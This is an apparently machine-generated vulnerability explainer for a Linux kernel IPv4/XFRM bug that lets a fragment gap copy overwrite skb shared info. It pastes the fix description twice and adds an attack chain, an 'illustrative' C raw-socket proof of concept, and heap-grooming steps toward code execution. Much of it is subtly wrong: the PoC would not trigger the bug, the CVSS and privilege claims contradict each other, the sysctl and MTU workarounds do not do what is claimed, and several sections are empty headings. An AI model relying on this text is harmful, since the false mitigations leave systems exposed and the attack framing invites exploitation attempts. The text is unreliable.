CVE-2026-143147 — Linux Kernel — HIGH Vulnerability
In the Linux kernel, the following vulnerability has been resolved: ipv4: keep XFRM headers out of corked skb lengths __ip_append_data() allocates space for dst.header_len in the first skb, but includes that space in skb->len until __ip_make_skb() pulls it. Fragment accounting uses an MTU that already excludes the XFRM headers. As a result, the next skb can have a fraggap larger than its capped datalen, and skb_copy_and_csum_bits() can overwrite its shared info. For example, five AH tunnel states can reserve 500 bytes while leaving an effective MTU of 348. With 40 bytes of IPv4 options, the second skb has room for 288 bytes of fragment data but receives a 500-byte gap copy. The overwritten shared info is subsequently consumed by the skb release paths. Reserve the XFRM headers together with the link-layer headroom instead. This keeps skb->len, the gap-copy offsets and the trim lengths relative to the IPv4 packet throughout corking. The network and transport header addresses and the headroom available to XFRM at output are unchanged. Both paged and linear allocations, including subsequent corked appends, use the corrected accounting.
In the Linux kernel, the following vulnerability has been resolved: ipv4: keep XFRM headers out of corked skb lengths __ip_append_data() allocates space for dst.header_len in the first skb, but includes that space in skb->len until __ip_make_skb() pulls it. Fragment accounting uses an MTU that already excludes the XFRM headers. As a result, the next skb can have a fraggap larger than its capped datalen, and skb_copy_and_csum_bits() can overwrite its shared info. For example, five AH tunnel states can reserve 500 bytes while leaving an effective MTU of 348. With 40 bytes of IPv4 options, the second skb has room for 288 bytes of fragment data but receives a 500-byte gap copy. The overwritten shared info is subsequently consumed by the skb release paths. Reserve the XFRM headers together with the link-layer headroom instead. This keeps skb->len, the gap-copy offsets and the trim lengths relative to the IPv4 packet throughout corking. The network and transport header addresses and the headroom available to XFRM at output are unchanged. Both paged and linear allocations, including subsequent corked appends, use the corrected accounting.
🎯 What is this vulnerability?
This vulnerability is a Memory Corruption (Out-of-Bounds Write) flaw in the Linux kernel's IPv4 networking stack, specifically within the IP fragmentation and corking mechanisms (__ip_append_data and __ip_make_skb).
The Technical Flaw:
The issue arises from an accounting mismatch between the reserved space for IPsec (XFRM) headers and the effective MTU used for fragmentation calculations.
1. Space Reservation: When an IPsec tunnel (e.g., AH or ESP) is active, __ip_append_data() allocates space for dst.header_len (the XFRM header size) in the first skb (socket buffer). However, it incorrectly includes this reserved space in skb->len until __ip_make_skb() pulls it.
2. MTU Mismatch: The fragmentation logic calculates the maximum fragment size based on the MTU excluding the XFRM headers.
3. The Bug: Because skb->len includes the XFRM space but the fragment size calculation does not, the kernel calculates a "gap" (fraggap) for the next fragment that is larger than the actual available data length (datalen).
4. The Consequence: When skb_copy_and_csum_bits() attempts to copy data into the next skb, it uses the inflated fraggap offset. This causes the copy operation to write beyond the allocated data buffer, overwriting the skb_shared_info structure (which contains metadata like reference counts, checksums, and page pointers).
5. Exploitation Vector: The corrupted skb_shared_info is later consumed by the skb release paths. This can lead to:
* Use-After-Free (UAF): If reference counts are corrupted.
* Heap Corruption: Overwriting adjacent heap objects.
* Kernel Crash (Denial of Service): Invalid memory access during cleanup.
* Potential Privilege Escalation: If the attacker can control the data being copied (via crafted IP packets with specific options/lengths), they may be able to overwrite specific kernel structures to achieve code execution.
CWE Classification: CWE-787 (Out-of-bounds Write) or CWE-122 (Heap-based Buffer Overflow).
CVSS Vector Analysis:
- AV:L (Local): Requires local access (e.g., a user on the system, or a container with
NET_ADMINcapabilities). - AC:L (Low Complexity): No race conditions or complex timing required.
- PR:L (Low Privileges): A regular unprivileged user can trigger this if they can send IP packets with fragmentation and IPsec is configured.
- UI:N (No User Interaction): Fully automated.
- S:U (Unchanged Scope): The vulnerable component is the kernel itself.
- C:H/I:H/A:H (High Impact): Successful exploitation can lead to full kernel compromise (root access) or system crash.
- Target Identification: The attacker identifies a Linux host running a kernel version prior to the patch.
- Configuration Check: The attacker verifies that IPsec (XFRM) is configured on the host (e.g., via
ip xfrm stateorip xfrm policy). This is common in enterprise environments, VPNs, or containerized networks using IPsec for inter-node communication. - Capability Check: The attacker ensures they have local access (e.g., via SSH, a compromised web app, or a container escape) and the ability to send raw IP packets or use
SOCK_RAWsockets.
⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
The attacker crafts a sequence of IP packets that trigger the fragmentation path with IPsec enabled. The goal is to cause thefraggap to exceed the datalen, leading to an out-of-bounds write.Illustrative PoC Concept (C Code):
Note: This is a conceptual representation. A real exploit would require precise heap grooming and knowledge of the kernel's memory layout.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/udp.h>
// This is an ILLUSTRATIVE example of the vulnerability class.
// Actual exploitation requires:
// 1. A valid IPsec policy/state on the target.
// 2. Precise control over packet lengths to trigger the fraggap overflow.
// 3. Heap feng shui to place critical structures adjacent to the skb.
int main() {
int sock;
struct sockaddr_in dest;
char *payload;
int payload_len;
// Create a raw socket to send crafted IP packets
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return 1;
}
// Set up destination (e.g., a local IPsec tunnel endpoint)
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("10.0.0.1"); // Example IPsec peer
// Craft a packet that will be fragmented
// The key is to have a large enough payload to trigger fragmentation
// and ensure the IPsec header length causes the fraggap mismatch.
// This requires tuning based on the specific IPsec configuration (AH/ESP, key sizes).
// For AH, the header is 12 bytes + padding. For ESP, it's 8 bytes + padding.
// The bug occurs when the reserved space for these headers is included in skb->len
// but not in the MTU calculation for fragments.
// Example: Send a large UDP packet that will be fragmented
// The attacker would iterate over different payload sizes to find the sweet spot
// where the fraggap > datalen.
payload_len = 1500; // Example size, needs tuning
payload = malloc(payload_len);
memset(payload, 'A', payload_len);
// Send the packet
// In a real exploit, this would be a loop sending many packets to corrupt the heap
// and potentially overwrite a function pointer or reference count.
sendto(sock, payload, payload_len, 0, (struct sockaddr *)&dest, sizeof(dest));
close(sock);
free(payload);
return 0;
}Key Exploitation Steps:
1. Trigger Fragmentation: Send a large IP packet (e.g., > MTU) through an IPsec tunnel.
2. Cause Mismatch: The kernel reserves space for the IPsec header in the first fragment but calculates the second fragment's size based on the MTU without the IPsec header.
3. Overflow: The skb_copy_and_csum_bits() function writes data beyond the allocated buffer, corrupting skb_shared_info.
4. Heap Grooming: The attacker may need to send additional packets to control the heap layout, placing a critical kernel object (e.g., a task_struct or a function pointer table) adjacent to the corrupted skb.
5. Trigger Crash/Exploit: When the corrupted skb is freed, the kernel may crash (DoS) or execute attacker-controlled code if a function pointer is overwritten.
3. Post-exploitation
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
__ip_append_data() and __ip_make_skb(). The fix ensures that XFRM headers are reserved together with link-layer headroom, keeping skb->len and gap-copy offsets consistent.2. Workarounds
# Remove IPsec policies and states
ip xfrm policy flush
ip xfrm state flush# Set kernel parameter to restrict raw socket creation
sysctl -w net.ipv4.ip_no_pmtu_disc=1
# Or use SELinux/AppArmor to restrict `socket` creation with `SOCK_RAW`.# Disable fragmentation on a specific interface
ip link set dev eth0 mtu 1500
# Note: This may break applications that rely on fragmentation.3. Detection
skb_copy_and_csum_bits, __ip_append_data, or skb_release_data.dmesg | grep -i "skb\|ip_append\|xfrm"⚠️ Urgency
Recommendation:
[🤖 CVE Professor AI Security Engine]